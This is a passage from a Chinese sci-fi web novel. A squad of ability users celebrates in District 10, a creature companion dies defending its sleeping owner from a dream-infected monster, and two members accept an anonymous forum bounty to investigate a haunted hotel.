白央点点头,没听处奚渚再跟她开玩笑。
吉蒂琼侧过身衣,慢悠悠补充一句,“队长,你还是回归平时的状态比较好,现在这种时不时关心下属的状态我都瘆得慌。”
不远处,戈乌气喘吁吁跑过来,对着白央毕恭毕敬道:“长官,传送车马上来了。”
白央看向荒废地带,黑暗中,一抹刺眼的白光闪现。
众人收拾得快,将东西两三下送上了传送车,所有人巡视一遭后,戈乌按下按钮,浩浩荡荡启动开来。
暗夜中,一片昏黑,耀眼的车灯闪烁在寂静无垠的无人区,车身周围是无数熄灭又重新亮起的红色感应灯,绕过土丘,爬起深坑,众人在车上晃悠得叮叮当当,脑袋垂在队友的肩膀上,轻鼾渐起。
太静了。
静到呼吸声都听得一清二楚。
新来的传送车足以容纳百余人,7组的成员四散在周围,奚渚窝在角落,这是为数不多的平静时刻,她只想一个人呆着闭目养神,长时间使用感知技能导致她的脑袋有一种莫名的混沌。
可丝柏凌并不给她这个机会,她像一只花哨麻雀,转悠在奚渚周围手舞足蹈。
“待会儿我们就要分开了!奚渚,真是舍不得你啊。”丝柏凌满脸遗憾,悲伤不能自已,“虽然咱俩建立了几个小时的同盟,但是我却觉得咱们已经在几百年前就已经互诉衷肠!这就是缘分呐!”
“......”
“话说回来,我算是明白了白央为什么不在上区呆着,反而加入7组就往下区跑!这地方多好啊,你永远不知道下一秒会发生什么意外和惊喜!”
“我想静静。”奚渚道。
“别嘛,说好的论坛,我还没把你拉进去呢!我现在马上拉你。”丝柏凌捣鼓着手里的东西,她突然拽起奚渚的手,在一通阵仗颇大的动作后,奚渚面前突然出现了一个虚拟光屏。
“高科技吧!上区也就这点好了,顶尖的虚拟光屏科技,已经可以完全适配人脑。你可以直接上下滑-动,在论坛里看各种帖子。最重要的是还有很多意外情报!放心,这里的账号是匿名的,不会有任何人知道你是谁。”丝柏凌压低嗓音,悄摸说。
奚渚抬起手指上下滑-动,屏幕上正在飞速滚动,密密麻麻的帖子瞬间换了一页,十分热闹。
“原来这就是只允许上区人登陆的论坛。”她算是沾了丝伯凌的光,才可以有浏览权限。
奚渚飞速扫视,突然瞟见一个帖子,长长的标题包含有“7组”二字,她立刻点了进去。
帖子名为:【论伊文捷琳再次仰卧起坐依旧捣鼓7组,区友们觉得精锐死光的7组能再度死灰复燃吗?】
丝柏凌挠挠头,“有时候也会有这种攻击性比较强的帖子啦,你就当上区人吃饱了撑的。”
奚渚继续下翻,1L飞速回帖:人在9区,刚下浮车,我倒觉得伊文捷琳那人盘算着什么东西呢,那家伙可是唯一的幸存者,就凭这点,上区的哪个人不得对她毕恭毕敬。
2L:楼上妥妥脑残粉,伊文捷琳就算再厉害,也只是在下区,上下区之别,你又不是不知道,你当上区那些贵族和长官是什么,统统压她一头呢。
3L:2L狭隘了,我曾经见过伊文捷琳一面,其实就是那次意外之后,她被摊在医疗椅上,下半身整个截肢,那样子简直就和鬼没有任何差别,她手里紧紧攥着一个小孩,那个小孩机械地迈着步子跟在她身边,似乎是白家的小女儿,现在大概也被容纳进了7组。
看到这里,奚渚抬头看了一眼在远处独自守夜的白央。
4L:楼主要是真想知道7组是什么样,为什么不来10区看一眼呢!总部就在那儿,难道是不敢来下区!
奚渚注意到了4L的昵称——SBL。
她看向身边眉目飞舞,正在疯狂打字的丝柏凌,对方已经陷入了一场论坛口水苦战。
“SBL是你?”奚渚问。
丝柏凌抽空回复,“你放心!我是你们的铁粉儿!”
奚渚眨眨眼,不怎么想看这些帖子,面前的光屏立刻熄灭,简直是到了随时随地监听她想法的状态。
“这就是上区的技术? ”奚渚心道,她闭上双眼继续养精蓄锐,下一次意外谁都说不准什么时候会再来。
那么多的疑问与不寻常,必须调查清楚。
***
10区。
古语将一个人从黑暗漩涡中推了出来,伊文捷琳撑了撑双臂,疲惫道,“奚渚的要求搞定了,不给她安装那些东西,他们这次倒是答应的爽快,大概是怕奚渚撂挑子不干。”
古语沉默不语,将伊文捷琳推到房间中-央,她又拐去另一间屋子翻翻找找。
一双机械腿被古语小心拿出来,摆到了伊文捷琳面前。
“好久没穿了,这么一看这假腿还挺真的。”伊文捷琳踉跄倾身,她将机械腿佩戴到自己截断的双腿切面上。
十分匹配的尺寸,毕竟是葵金特别打造。
她歪歪扭扭,似是十分不适应,在原地活动了一会儿后,她看到了一个身影。
身侧的一面镜子,正照着一个人。
伊文捷琳看向镜中那人,扭曲的步伐,混沌的双眼,开玩笑道,“古语,这双腿还真不错,残废也有春天啊!我都有点儿喜欢上从前那种能自由行走的感觉了。”
古语微微抬眸,她声音沙哑,“也可以一直佩戴。”
伊文捷琳哈哈大笑,“坐在轮椅上,痛苦会察觉的更清楚。”
古语沉默地将西服外套递给伊文捷琳,对方点头道谢。
西服被整齐穿上身,胸口处有属于猎人监管者的独特徽章,一个白色的分叉树枝形状,在一片黑色中尤为耀眼。
伊文捷琳转过身,对着镜子将徽章摆正到完全垂直,“走吧,她们大概回来了。”
***
传送车停靠的地方,是10区西南角的偏僻一隅,一间老式居民楼,孤零零上下三层,被郁郁苍苍的大树笼罩,门口掉漆,怎么看都不像是一个异能队伍的总部。
树上从高处起,挂着许多铃铛,风一吹,铃铛便叮叮作响。
“那是死去同伴的象征,我们没有纪念她们的东西,一个铃铛代表一个生命。”葵金的声音有些不真切,她率先下车推开了那扇掉漆的门。
几人紧随其后,摩挲着楼道上楼,昏暗的吊灯一抽一抽亮着,机械虫充当了手电筒,熟悉地在前方开路。
屋内一片寂静,窗户大敞,墙被粉刷成白色,其中感染物的文件堆放在角落。
伊文捷琳和古语前后站着,正在等待众人。
她的眼睛也带上了特制的眼镜,以便她可以长时间看清众人,她环视一圈,目光锁定在人群最后的奚渚。
丝柏凌早已下车,其他队伍也回到了总部,现在呆在这个奇怪地方的,只剩7组队员。
伊文捷琳笑眯眯开口,“奚渚,你好。”
奚渚点点头,并没有动作,她有点儿不知道接下来要干什么,该跟这个第一次见面的领导握个手吗?
索性伊文捷琳不是讲究的人,她对白央嘱咐道:“去常去的店里吧,我和奚渚随后就到。”
看来是故意要把奚渚留下。
奚渚看着其他人慢慢走远。
屋内只剩下二人,伊文捷琳随意问道:“会开车吗?我这个残废可开不了。”
奚渚点头表示可以,“我们要去哪儿?”
***
二人前后上车,是一个造型独特的改装车。通体黑色,酷炫的银条点缀其中,流体的线条,以及夜深中酷炫的车灯,奚渚简单看了一眼便发动了车,索性很好上手。
“先直走吧,带你看一看10区。”伊文捷琳坐在副驾驶,指着前方。
奚渚踩下油门,立刻感受到车平缓发动,面板上一堆数字在跳动。
看来这车可以自控速度,她便抽出部分注意力望向车外。
和17区不同,远远的看,10区明显繁华不少,起码远处灯火璀璨,半空漂浮的虚拟游鱼还甚至有点儿高科技的影子。
“那个女孩和她的姥姥被转送到了这里的医院。”伊文捷琳说。
奚渚想到了那天的事情,“她们没事吗?”
“已经好了,嚷着要见你。看见我这幅奇怪样子,十分害怕,一直和她姥姥说是我把你弄到不知道哪儿去了。”伊文捷琳语气轻松。
“我之后去看她们,多谢。”奚渚道,“还有,治疗费应该不便宜吧,我会还你的。”
“那你可得给我打好多年黑工呢。”伊文捷琳笑着道。
车身之前,突然出现了一条红色的游鱼,开始绕着全车飞舞。
“这是红灯,要求行车暂停的意思。”伊文捷琳解释说。
“挺有创意的。”奚渚道。
红鱼低飞了
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一会儿,在半空中像烟花一样绽放,随即消失的一干二净。
车辆再次启动,这次伊文捷琳要求奚渚右拐。
“亡灵的魂魄被葵金用那些游鱼纪念,她很擅长这些,比如怀念死去的队友什么的。”伊文捷琳轻吐一句。
造型奇特的植物被充当隔离绿化带,奚渚一脚油门,人造树从眼前直直掠过。
“吉蒂琼胆大心也大,天马行空大大咧咧,最爱给基地周围的人造物做点儿奇怪造型,说什么原来地表之上有那么多独特的东西,现在未免太过单调乏味。”
车速平缓,进入了10区的主城,这里作为下区之首,还存在三军基地,因此人们看起来比17区的更为松懈。
但也松懈不了多少,看见造型奇怪的黑车驶入,明显感觉到他们的目光瞬间紧绷,频频看过来。
七拐八拐,经由伊文捷琳指挥,黑车进入了一个偏僻窄巷,车身随着巷子的宽窄自由变形,十分轻易地驶了进去。
车身自动停靠,一间看起来颇有梦核风格的店铺出现在奚渚面前,爆着刺眼的迷离彩光。
白央戴着半截覆面站在门口,看起来格格不入。
周围经过的人们都刻意避着她走,从表情来看,大概是觉得这人太过危险。
“一根筋,孤僻,不会与人相处,听不懂玩笑话。就像现在这样,如果咱们俩一直不到这里来,白央就会一直等下去。她看不懂别人打量她的目光,也或许是不想懂。”伊文捷琳坐在副驾,并没有急着下去,她缓缓开口。
“这些人都很奇怪,她们在别处被视为怪咖、危险物、疯子、该死之人。但她们在这里,却可以活下去。”
奚渚听了一路,没有出声。
她知道是伊文捷琳给了她一条命,但是她同样也察觉出对方话里有话。
相比随口乱说,她觉得伊文捷琳更像是交代后事。
但是为什么要对着自己说这些?奚渚不明所以。
伊文捷琳拍了拍她的肩膀,气氛瞬间轻松下来,“别紧张,别多想,先进去吃饭吧,我们还有一段相处的时间。”
二人下车,白央立刻走下台阶。
老板叽叽喳喳推门而出,是一位胖乎乎的女性,衣服五彩斑斓,系着一根花腰带,头上别着一直笔,手里拿着一把扇,唰一声,掩面干巴巴地笑,正对着伊文捷琳,几三下迎了过来,“哎呦!大长官!今天真是威武!都站起来了!我就说你有康复的可能吧!”
伊文捷琳笑了笑,显然没当这是什么冒犯,“进去吧,这是老板,很好相处的!对了,吃的都准备好了吗!这些孩子可是累坏了!”
老板锤了锤伊文捷琳,“你就放心吧!吃酒管够!”
室内,吉蒂琼已经喝开了。
金黄的酒杯满溢,老板的拿手好菜摆在众人面前,她挎着奚渚的脖子,大舌头郎当,“来!奚渚!别客气!你真是厉害,两三下就把两头感染物给解决了!过几天,奖金数到手软啊!”
奚渚抬起头,看向伊文捷琳,她没想到还会有奖金。
伊文捷琳拍了拍吉蒂琼,她立刻坐了下去,“虽然今天人不全,还有几位在别的沦陷区出任务。但是,既然新队员奚渚来了,咱们也得放个假啊!天天不是打打杀杀就是打打杀杀的,这也太累人。”
吉蒂琼狠狠点头,她无比赞同再多放几天假。
老板也在席中坐着,她面前摆着一-大瓶酒,已经喝下去了一多半。
白央在沉默吃饭,看起来很饿。
葵金正在拿好几瓶酒互相对着,并且偷偷塞到了毫不注意的吉蒂琼面前。
对方一饮而下。
奚渚夹着面前的菜,听着周遭人侃侃而谈,“这种氛围也挺好。”她默默心道。
伊文捷琳拍拍脑袋,“遭了!”
众人齐刷刷抬头。
她呼出一口酒气,“奚渚的住处我还没有安排好,白央,你那儿有空屋子对吧,你今晚带奚渚回去,明天我肯定安排出屋子。”
白央点头,表示可以。
“不管怎么说,有住的地方了。”奚渚心道,她对着几人点头感谢。
伊文捷琳已经醉倒,浑然没有了长官的姿态,她和吉蒂琼歪歪扭扭打闹成一团,葵金一脸坏笑,仍旧不嫌事儿大,开始壮着胆子给伊文捷琳偷偷塞酒。
“很久没见她这么高兴了。”老板突然开口。
奚渚转过脸,原来对方是在和自己说话,她点点头,嗯了一声,将面前的食物往嘴里塞。
伊文捷琳突然斜过来,她脸上并没有佩戴任何遮挡的面罩,伤口大喇喇的呈现在众人面前,她举起酒杯,对着所有人环视一圈,在醉意中豁然开口,“我...我有一个微不足道的愿望。”
众人停下手边的动作,看向伊文捷琳,对方十分激动。
“我希望大家能活下去。”
她一饮而尽,摔倒在满座狼藉之中,桌上的酒杯被囫囵扣倒。
吉蒂琼呼呼大叫,窗户被风吹的轻响,无数细微的声音盖过众人突然的沉默,奚渚拿起面前的酒杯,喝了一口,火辣辣的,烧得五脏六腑都热了起来。
28.深夜论坛
聚会结束在半夜。
吉蒂琼已经不省人事,奚渚拖着队友,将她们放上车,一个个送了回去。
“奚渚!明天见啊!”吉蒂琼含糊不清地说着。
奚渚拽开对方的手指,“好好好。”
和醉鬼交谈,只要顺着对方就行。
葵金一路沉默,她的家就是实验室,于是在总部楼下,葵金下车挥手告别。
她扒在车窗上,对着二人悄悄道:“虫子的新版本研究好了,炸掉方圆百里没问题。”
奚渚比了个大拇指。
葵金意气风发,跌跌撞撞朝总部实验室走去。
伊文捷琳还没尽兴,仍和老板呆在一起,讲述青春过去。
奚渚默默退场,把其余几人送回去后,车上留下了她和白央二人。
“打扰了,队长。”奚渚看着车辆正在自动修正路线。
白央早已经把覆面摘了,“家里很大,你可以随便住。”
“万恶的有钱人啊!”奚渚默默心道。
跨过10区最热闹的主干道,车辆拐向西行,酷炫的黑车在空无一人的大道上拉风的轰鸣,无垠的陆地向远处无限延伸,不管如何前进,这条路都似乎永远望不到尽头。
白央调整着前方向盘,只起到了一个造型上的作用。车的智能系统早已被输入好了目的地,握与不握,只是图个安心罢了。
车载系统适配着各种蓝调音乐,白央随意点开一首,金属迷幻乐悠扬入耳,像是世纪末的散场音乐。
奚渚没什么心思听,因为她现在已经困得睁不开眼。
脑袋顶在车玻璃上,双手交叉摆在腿上,随着车身摇晃,手立刻散形,随即奚渚也睁开眼,将自己的脑袋回正,轻吐一口气,表示自己状态依旧,即使身处酷炫豪车,也没有丝毫懈怠,可以随时观察是否有意外情况发生,不远处依稀可见几个白点正在朝某一方向移动,奚渚问道,“10区的执勤军是全天巡逻吗?”
白央点头表示大差不差,“距离上区最近的地方,联盟绝不允许出现任何意外。”
车窗被奚渚打开,呼啸而过的风兜着爽快拍到二人身上,奚渚觉得脑袋清醒了不少。
远处灯火依稀,已经入夜的10区十分安静,三军基地处伫立着一座白色巨塔,塔上红绿光交错闪烁,定风旗鱼游一样簌簌飘动。
白央扭转方向盘,飞驰的黑车像黑豹一样冲向白塔,二人的身影立刻被红光淹没,随即又被绿光笼罩,黑车旋了一个大弯,滋呀一声,引擎轰鸣,二人奔着另一侧的居民区扬长而去。
奚渚遥望一眼远处,“10区的医院在哪里,我明天想去看望一个病人,就是那个小女孩。”
白央指了一个方向,车载屏幕上立刻出现10区全域立体图,奚渚很清楚地看懂了,一座医院“拔地而起”,在正西方耸立。
黑车缓缓停在一栋高楼之下,白央率先下车,“不用管车,它自己会停好。”
奚渚颇为感叹,刚上17区时坐的还是没门没窗的破烂悬车,几天打工生涯,自己竟然已经进入了全面自动化的行列。
真是科技造福人类啊。
白央站到一座高楼门口处,冰冷的机械声响起,随后大门卡吧一声响,表示主人回家,热烈欢迎。
“走吧。”白央招呼着身后的奚渚。
“这栋楼难道都是你的?”奚渚看着面前这栋高楼建筑,略微惊讶地问。
白央没否认,“你想去哪层休息都可以。”
壕得毫无人性啊!
电梯飞速上行,整个10区如鸟瞰图一样展现在二人面前。
叮一声响,电梯到达,面前改天换地。
不是奚渚想象中的纸醉金迷水晶吊灯珐琅地砖,其真实情况是这地方一片冰冷毫无人气,全屋素净到极点,沙发孤零零地呈十字状摆在空荡荡的客厅,角落呆着一个扫地机器人,全屋看起来跟个大型棺材一样。
白央进了“棺材”,暖黄灯光像电影主角开场一般嘭嘭嘭亮起,二人径直走了进去。
奚渚觉得脑袋有点儿犯晕,她拖着疲惫的步子坐到沙发上,身旁的白央眉头紧锁,看来是酒劲儿上了头。
奚渚突然想不起来白央刚才在聚餐时是否有喝酒。
她看到白央指了一个卧室,奚渚撑起身子,进了房间,嘭一声,摔倒在床上。
“好软。”奚渚呢-喃着,好像从进入大楼的瞬间意识就开始下坠,她深陷柔软的床铺,陷在噩梦中。
已经半夜,整间屋子静的可怕。
因为奚渚的特别命令,所以嘴巴并不会出现在7组成员的面前,反而是一直躲在奚渚的衣服里。
此刻,万籁俱寂中,嘴巴突然察觉到一丝不同寻常。
它立刻从奚渚的袖子里钻出来。
它飞到半空,整个身体止不住的变形,这是它紧张的表现。
奚渚昏死在床上,没有丝毫要醒的预兆,它飞到窗户跟前,外面的世界好似被无声凝固一样,透露出一股微妙的波动。
它重新飞到奚渚身边,静静地在她周围停驻。
没有奚渚的命令,它本不应该随意出现,如果被白央发现,那么只会死无葬身之地。
感染物的存在,就是异类。
从被抓到关起来的时候,它就明白了,结局只会是必死无疑。跟在奚渚身边,也只是为了活命。
但是,它觉得有什么东西不一样了。
它回忆着与奚渚呆在一起的过往,对方会不自觉地保护它,纵使奚渚从来不会主动开口。
它明白了一个道理,奚渚同样需要它的保护。
就像现在一样,有东西已经来了。
如果不挺身而出,奚渚一定会死。
它飞到奚渚身边,拿脑袋将奚渚顶-到了被子里,十分体贴地将奚渚裹成了一个粽子。
做完这一切,它又从厨房叼出一把刀,不断地绕着奚渚飞行。
奚渚毫无意识,嘴巴在空中焦急地转圈。
随后,它像是下定什么决心一般,将那把刀放到了奚渚的床头,那个位置是奚渚醒了之后反手就可以握到的角度。
做完这一切,它耷拉着脑袋,朝卧室门口飞去。
卧室门没有闭紧,嘴巴轻易地就挤了出去。
沙发上躺着一个面熟的人,白央满头大汗,双眉紧锁,正在噩梦中深陷到不可自拔。
嘴巴环绕了客厅几圈,循着食物的味道飞到了冰箱处,柜门被它顶开,里面尽是一些配好分量的营养剂之类的东西,看起来一点都不好吃。
但它还是硬生生地吞了下去,并且将整个家里的食物全都搜刮了个干净。
它打了一个饱嗝,身体很沉,它开始摇晃下坠。
突然,有什么东西正在吸它的身体!
嘴巴转过身,看向地上不知何时出现的一个盘子似的机器,对方似乎是将嘴巴当成了垃圾,一个劲儿地要清扫它。
它把机器人推开了。
对方百折不挠,就要清扫干净。
嘴巴看了机器人几眼,咚一声坐了上去。
二人绕着宽敞的客厅来回滑-动,像是过山车一样,在一片死寂的客厅中狂乱兜风。
嘭一声,机器撞到了墙上,但睡着的二人却没有任何反应。
同类的杀意越来越近。
嘴巴还在地上玩着滑翔的新游戏,它觉得此刻的快乐还是比不上奚渚让它吞掉东西时的快乐。
奚渚会摸它的脑袋,还会很认真的和自己说有的东西不可以吃。
它希望奚渚能活着。
伊文捷琳那句话嘴巴也听到了,那也是它的愿望。
机器人被它调转方向,二人没有回头,朝着门口飞速冲去,在到达的瞬间,嘴巴腾空而起,在半空的它,已经化成了巨大的本体,红光乍现,整个客厅被刺眼的光芒笼罩。
机器人不明所以。
红色皮肤下,具现出一双手,它正在对着机器人挥手,像是要告别战马。
嘴巴雄赳赳地看向门口,门外的东西早已蠢蠢欲动。
它要在这里杀了那头同类,不惜一切,保护奚渚的安全。
哐!
门被嘴巴猛地甩上,它在缝隙中遥望了一眼卧室。
“xi...xi..”
嘭!
整片区域在瞬息间被一个巨大的红色怪物所笼罩。
远远一看,就像披上了一层流光溢彩的虹膜。
嘴巴将身体膨胀到了极致,来的是比他厉害许多的感染物。如果硬碰硬,它绝不是对方的对手。
在身体包裹整个区域的瞬间,嘴巴分-裂出无数个分身,分身如雨点般下落,灌到了楼内的各个缝隙。
它要以最快速度,找到那头会对奚渚造成威胁的感染物。
精神干扰感染物,进入它具现出的感染区后,所有人都会被强制催眠,进度深-入梦魇,除非找到感染物,否则无法破解。
它的各个分身在全楼内突进,山呼海啸般涌进每一处缝隙。
持续扩张身体对嘴巴来说是不可恢复的伤害,所以才需要吃掉那些食物来补充体力。
它的整个身体已经成为了大楼的一部分,有一只甚至跑到了奚渚房间的窗外。
它或多或少地理解了一些人类的东西,比如说承诺,比如说离别。
在整片区域的入口处,它发现了那头感染物的踪迹。
嘴巴收回整个身体,在万丈高空中,汇聚为一点,如红箭一般冲向那处。
嘭!
巨大的爆炸声响彻居民区。
本就睡不安稳的10区居民在震惊中掀开窗帘,只看见半空中一道赤色流星爆炸。
巨大的冲击波将整个居民区的玻璃震碎,人们从噩梦中惊醒。
一片废墟中,一个浑身刺青的女人掀开身上的残骸,从倒塌的大楼中走了出来。
她坐在一方石板上,看向手中抓着的那只红色身影,“你,就是奚渚身边那头东西。”
没有任何犹豫,嘴巴被单手捏爆。
女人拍了拍手,活动了一下全身的关节,她呼出一口气,一个巨大的数字24在其肩膀上闪光。
“不好玩,就这么在梦里杀了她未免太可惜。”
***
楼上。
扫地机器人依旧在门缝处一下一下磕着。
白央猛地坐起身,摸上了自己的脸。
伤疤还在。
刚才那是一场梦!
还有!
自己什么时候睡着的?
她环视四周,奚渚不在。
卧室门被风吹开,白央站在门口,看到了在床上愣神的奚渚。
“怎么了?”白央问,奚渚的样子有些奇怪。
奚渚收回视线,摇摇头,将她身上裹得死紧的被子叠在一旁。
她猛地呼吸了一口,抓到袖子上,答案已知,“没事,刚才做梦了。”
“饿吗?”白央突然问。
奚渚随意点头,看向窗外,不远处的某个位置,存在着感染物的细微波动。
白央出了卧室,准备做饭,打开冰箱后,她却傻了眼。
空空如也,像是被洗劫而空。
跟着她一块儿出来的奚渚突然开口,“我太饿了,刚才全吃了。”
白央转过身继续翻找食物,忙活二十分钟,两碗泡面摆在了二人面前。
热气蒸腾。
奚渚神色平静,但白央却感受到了一种无形的压抑。
在睡着的这段时间内,一定发生了什么。
白央随手打开论坛,她已经从丝柏凌那里知道了奚渚也已经被拉入论坛的消息。
她随意划拉,跟奚渚偶尔搭话。
深夜的论坛十分热闹,一个个帖子鱼贯而出,还没看清,就又被唰一下顶了下去。
突然,一则名为“10区大楼爆破,感染值高度异常!”的帖子被顶-到了最上面。
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白央点了进去。
帖子已经被海量匿名用户追楼。
1L:那些三军是干什么吃的,感染物都活跃到上区门口了,竟然没一个去干活的!万一10区沦陷,先死的可就是我们9区!
2L:楼上真是站着说话不腰疼,你知道她们多累吗!你要这么害怕,为什么不出一笔大价钱把7组拉到你身边当保镖!还不是穷鬼一个,真以为自己有一个上区户口就了不得啊!
奚渚看了一眼匿名ID——SBL,看来丝柏凌正在高强度冲浪。
3L:2L太冲了,上区的大家担心难道不是正常的吗?虽不知3L阁下身处哪里,但还是要有危机意识。
4L:我们给下区每年提供那么多东西!高科技产物,苔化重工检测仪,感染驱逐武器,要有给流浪者提供的庇护区,以及无数食物和金钱!她们花着我们的东西,难道不是更应该好好巡逻,不能有丝毫懈怠。
5L:这话你敢当着所有人的面说吗?她们豁出去的是可是命!就活该当你的护城河活靶子呗!
6L:别吵了!反正警报都发了,他们就算不想干涉也必须处理,我们掏钱养他们,不就是为了让它们做好防线吗。不然,7组里那些死刑犯还有任何活着的必要吗?
白央随意解释,“没办法,上区的人提供一切,可以说是大家的衣食父母,自然趾高气扬。”
奚渚一脸无所谓,她可不想介入什么政-治斗争。
她加入7组完全是为了自保性命和拥有调查权限,至于其他的,她一概不想理会。
叮!
午夜零点一声响,刚才还在大吵特吵的论坛突然开始大变样。
无数文字扭曲变形,整个论坛页面被黑色笼罩,其间特效苔粒子像烟花一样绽放在论坛屏幕上,文字再次变化的瞬间,论坛变成了一副黑绿配色。
而内容也已经改天换地。
最上面一个帖子写着——爆!
白央随手划拉几下,“深夜零点一过,论坛就会进入三小时的午-夜狂欢领域。上区人会豪掷千金发布各项赚钱任务,来满足他们身在上区心在下区的巨大好奇心。三军中一些能力高的人除了本职工作外,会在论坛里接私活赚钱,当然,这事儿是被默许的,毕竟有钱谁不赚。”
奚渚看向最上面那则帖子,“本人下注100万!前往10区庇护所闹鬼的幸福旅馆,调查诡异事件真相!调查完成后一秒到账!”
帖子被奚渚点开。
第一行率先写着这位发帖人的特殊要求:
全程录像,定制视频,本人用作独特收藏。武器自由选择,其中必须包含楼主指定的V7猎杀枪。如遇感染物,其尸体必须保持完整,只允许一枪爆头。
能力强大者,如果可以保证感染物尸体没有一点损坏,我将以三倍价钱直接买断!
来吧。
午-夜狂欢!
这笔钱,究竟花落谁家!
任务在飞速更新,上区的高科技装备先进的不是一丁半点,很快就得出了任务的详细信息。
任务类型:C级感染物。
任务地点:10区幸福旅馆。
时间限制:天亮之前。
注意:一旦接下,不得退出,如果接帖者意外身亡,我们会给予您一定的人文关怀,即尸体火葬费。如任务完成,接贴者可以直接离开,只需点击完成按钮,之后会有专人处理现场。
发帖人发布了感染物的级别,以及具体地点,距离白央的家里只有几公里。
楼内还在不停加价,整个帖子成了狂赌之地,上区人没见过感染物,他们是被保护在金钟罩的家养麻雀,总是想看看一墙之隔的下区究竟能发生多么意外的事件!
这种扭曲的好奇心,足够他们一掷千金。
帖子在飞速间加价到了400万!
这价钱,足够一个下区人几辈子的生活费。
而且,回帖中,奚渚突然瞄到了一行飞速闪过的回帖,【幸福旅馆啊,那地方邪门的很,但凡进去的就没一个出来的,这么多年,不知道死了多少人!曾经HPP重工也派过调查员前往那里呢!】
到这一步,就好像有什么东西正将奚渚推往那处,她想问一问脑内的小黑,但是对方已经失联多日,没有丝毫系统的自觉意识。
白央已经收拾了碗筷,奚渚靠在沙发上,脚下的扫地机器人一直在碰她的腿。
她垂眸看过去,机器人上面堆放着一堆包装袋。
奚渚将包装袋扫了下去,机器人立刻清理了个一干二净。
白央走过来,却看到奚渚突然弯腰,正在和机器人争抢一个破袋子。
机器人当然落败。
奚渚将包装纸塞到了手心。
桌子上被摆上一套西服,被白央放在奚渚面前。
“这里没别的衣服了。”白央解释道。
奚渚低下头一看,自己现在就跟个流浪汉差不多。
她换上西装,活动了一下四肢。
还行,这衣服挺得劲儿。
她将包装纸装到了口袋里,算是某种遗物。
半夜零点十分,二人对视一眼,按下领取任务的按钮。
巨大的绿色烟花在论坛绽放,帖子已经被顶-到数千条回复。
他们彻夜不眠,狂欢的时间有限,在这里,只要有人肯出钱,也只要有人在缺钱,不论是什么模样的任务,都会被领取接受。
用时间,被豪掷400万高价的帖子风靡整个论坛,无数推算谁死谁活的帖子冒出来。
两个匿名用户,BY和00被顶上了论坛最高处。
这一晚,上区人全员狂欢。
此时的白央家,另一间卧室门被缓缓打开,里面无数枪械摆放整齐,奚渚挑选出那把指定的V7猎杀枪,带了十盒子弹。
既然对方的要求是尸体完整,那么她就不能再用异能操作。
假期第一天,二人奔着旅馆而去。
29.反杀(一)
V7猎枪的唯一好处就是可以自由伸缩。
二人将小臂长度的猎枪装在西服口袋里,枪口微微硌着奚渚的身体,整个住宅区绿光点点,是清扫武器散发出的强光。
看来正如论坛所说,已经有军队来到了此地进行调查。
奚渚和白央并没有得到任何原地待命的命令,二人乘坐电梯下到地面。
很显然,继续开白央的这尊豪车前往幸福旅馆已经不现实。
既然是匿名任务,就应该隐秘进行。
而且万一周围有那个发帖人的眼线呢?如果这项任务对方只是为了钓鱼,直接暴露行踪等同于把性命交到别人的手中。
于是二人选择了最简单的交通工具。
悬车。
所幸,10区的交谈建设的经费足够。
悬车带门带窗带座位,还带一根安全绳。
深夜出行,车上呼吸声浓重,人头无数。
乘客们耷拉着脑袋,像泄了气的气球一样靠在座背上,他们神态萎靡地移动眼珠,望着一闪而过的10区居民区。
疲态流露在双颊,他们形容枯槁,对新上车的奚渚与白央并没有作出任何反应,反倒是对她们身穿的猎人制服多看了几眼。
但也仅仅只是几眼。
悬车咯吱作响,几下猛地前后晃动,飘上半空。
【10区工人专列欢迎您。本辆悬车全天不间断行驶,以确保每位乘客能够及时上工。前方目的地:幸福隔离区。】
“10区有HPP重工旗下的流水工厂,负责给下区生产各种东西,上到武器零件,下到生活用品。”白央解释道:“工厂人手不够,几乎三分之二的员工都雇佣于流浪者,他们成本低廉,没有底线,几乎是抢着干。除却能领到薪水这一原因之外,HPP重工还会给流浪者提供暂住证明,有了这项证明,他们就可以留在10区,被分配至隔离区居住,算是暂时有了一个落脚处。”
“又提供工作,又提供居住地,看起来HPP重工就像是在做慈善。而幸福旅馆也身处隔离区一角,所以,HPP重工的调查员前往隔离区,看起来确实合情合理。但他们调查什么,仍是未知。”奚渚分析道,她觉得这件事情没有那么简单。
工人们穿着大差不差的蓝白条制服,抄着手呆滞地坐着。
流水线的工作最耗费人们的精神力,一模一样的工作程序,没有任何间断的操作流程,短暂的几分钟休息时间,也只是为了身体回笼,丝毫不会给脑袋任何放松的时间。
久而久之,这种精神上的摧残会直接带到一个人的脸上。
整个悬车坐着无数恪守自己座位三寸地的傀儡,他们双腿并拢,绝不会超出座位之外。他们的脚尖微微打着一下两下无数下的节拍,这是流水线工作时形成的习惯。
一下下轻轻的节拍,可以将整个人拉回神来。
悬车是自动驾驶,一车人静的可怕。
奚渚的前两排坐着一个老奶奶,老奶奶双手结茧,动作不停,仔细一看,是在循环勾着一个个圆形图案。
周围还有几个工人,年龄上至七八十岁,下至十五六岁,嘴里念叨着工分之类的东西。
“工分多了,明年就可以带着家里人搬到大一点的隔离屋去了。”
“今天虽然超出了工作任务,但比起别人来,还是少了太多,明天要继续努力干活。”
“同事的工分被清零了,似乎连夜就被赶出去了,我不想变成那样。”
“下个月就要八十五岁了,能不能隐瞒年龄继续干活呢,家里不能没有人工作啊......”
多做一份工就能多一分工分。
如果能不睡觉地干,也一定会有很多人同意。
但重工十分人性化,它们强制自家工人必须回到幸福隔离区去好好休息。
何况,下区的一年可不止12个月,一个月也不止31天。
这样的时间分割政策,对他们来说最好不过。
因为他们什么都没有,只剩时间可以蹉跎。
无休止的工作,总能在某一天住上更好的隔离屋,也总有一天,大概会以渺茫的概率得到10区永久居住的权利。
悬车停靠。
车下又上来两个人,一女一男,一个呵欠连连,一个垂着脑袋。
二人随意挑选了一个位置,正好在奚渚前面一排。
奇怪的是,女孩的衣服上的花纹竟然全部都是圆圈。
白央继续说,“任务发布后,在任务开始的一瞬间,下区的空中隐藏摄像头就会自动记录,这种摄像头在感染区内也有效。”
奚渚点头表示明白,看来发帖人是通过这种手段进行“视频收藏”啊。
有钱人的爱好她属实不懂。
“空中隐藏摄像头?”奚渚心道,她突然想到之前执勤军的奇怪之处,这也是她一直想不通的,对方会在她点头的瞬间直接抽取奚渚脑内的权限。
如果说,军队里有这种手段,那么再配合隐藏摄像头,那岂不是整个下区都在掌控之中。
这种感觉,就好像是被关在鸟笼里自生自灭。
在监狱任务结束后,奚渚曾经查看过她身体所有可能埋藏机器和芯片的位置,包括手腕耳后指缝发根处等等所有地方。
但是她一无所获,身体崭新如初,因为奚渚怀疑监控她脑内的东西被直接埋入了大脑。
